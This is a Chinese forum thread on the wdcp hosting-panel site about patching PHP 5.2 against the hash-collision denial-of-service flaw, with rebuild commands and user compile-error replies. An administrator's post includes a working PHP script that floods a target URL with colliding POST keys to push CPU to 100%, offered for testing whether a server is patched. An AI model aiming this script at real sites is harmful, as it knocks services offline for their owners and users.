无标题文档
wdCP系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdCDN系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
wdOS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdDNS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
注册 发贴 提问 回复-必看必看 wddns免费智能 DNS 开通 本地或虚拟机使 用wdcp 一键包在mysql编 译时"卡住"
【300G高防】双线 无视攻击 wdcp官方技术支持/服务 阿里云8折优惠券 无敌云 腾讯云优惠中,现注册更有260代金额券赠送
返回列表 发帖
提问三步曲: 提问先看教程/FAQ索引(wdcp,wdcp_v3,一键包)及搜索,会让你更快解决问题
1 提供详细,如系统版本,wdcp版本,软件版本等及错误的详细信息,贴上论坛或截图发论坛
2 做过哪些操作或改动设置等

温馨提示:信息不详,很可能会没人理你!论坛有教程说明的,也可能没人理!因为,你懂的

[发布] PHP5.2.*防止Hash冲突拒绝服务攻击升级脚本

ssh登录终端,执行如下


完成后就可以


已修正
之前升级的,如果出现 EA无法使用,可执行如下再编译下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install


此脚本只对wdlinux,一键包及wdcp的默认安装有效,如不是wdlinux的安装包或有修改目录的,可做相应的修改编译
或下载php手工编译


此BUG据说可以让CPU100%从而达到拒绝服务,但我在几个机器上测试,似乎没有这个问题
这里附上测试程序
  1. <?php
  2. $size = pow(2, 16);
  3. $array = array();
  4. $ch = curl_init();
  5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
  6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
  7.         #$array[$key] = 0;
  8.         $argument.="a[".$key."]=0&";
  9. }
  10. curl_setopt($ch, CURLOPT_POST, true);
  11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

  15. $return['result'] = curl_exec($ch);
  16. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  17. curl_close($ch);
  18. ?>
复制代码

另一个攻击测试脚本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替换为相关的域名即可
把上面的PHP代码保存为当前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果,如果有问题,CPU就会达100%
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

我刚才这样做了:
./configure 之后  
make ZEND_EXTRA_LIBS='-liconv',
然后make install ,已经成功了。

TOP

我去手工编译了,结果有报错:
/tmp/php-5.2.17/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open'
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1

我去查了资料,有两个解决方法:
一:编辑Makefile 在crypt 后加上-liconv,
二:make ZEND_EXTRA_LIBS='-liconv'

可是我水平太低,没看懂这个两个解决办法。
第一个办法,我在make的时候报错,这时候还没生成makefile,我怎么去编辑makefile呢?
第二个办法,是直接在命令行里打这个命令,然后重新./configure 。。。。 ,        make ,这样吗?
我试过在命令行里直接运行make ZEND_EXTRA_LIBS='-liconv',然后./configure 。。。。 ,        make , 还是报原来的错误。

有哪位好心的兄弟帮我解释一下这个问题吗? 万分感谢。

TOP

谢谢,我去试试

TOP

重起一下

可是手动编译试试
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

本帖最后由 lotuspool 于 2013-10-30 11:19 编辑

我的服务器的php版本是5.2.17, 我想打这个补丁,就现在一台电脑里做了虚拟机,模拟了服务器的系统centos5.7系统,lnmp也和服务器设置和安装目录一样。
php也是5.2.17。wdcp 1.1 。

我用这个脚本在虚拟机系统里打这个补丁,脚本运行很正常,最后完成之后,再去看phpinfo里的信息,已经显示“PHP Version 5.2.17p1”了,再测试漏洞也没有了。

之后我就去正式服务器打补丁,正式服务器脚本运行也正常,最后完成之后,我去看phpinfo里的信息,还是老样子“PHP Version 5.2.17”,我测试这个漏洞也还存在。

我的wdcp安装不是默认目录,脚本下载下来我修改了这个对应的目录,整个脚本运行也没看到什么报错。

请问各位高手,有遇到我这种情况的吗?有哪位兄弟好心帮忙指点一下,不胜感激。

TOP

请问老大,8月21的要不要再弄下这个

TOP

学习 了,支持老大
http://www.ladyyu.com

TOP

天天CPU百分百的路过。
怎样活呢?

TOP

在此之后的不用
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

wdcp_v2.1.2 是不是已经打了补丁,不需要单独再大本文这个补丁?

TOP

加上memcache扩展再编译下
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

这个很给力的说 我就说 怎么网站打开报错了呢
ssh上去top一看,我靠mysql占用内存都120%了。。。。
果断下补丁 几分钟搞定
http://goo.gl/l6Lxb

TOP

是前两天修改过的,你应该是早几天升的吧
admin 发表于 2012-1-9 14:35



   上周六 测试 出现 的问题

TOP

是前两天修改过的,你应该是早几天升的吧
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

返回列表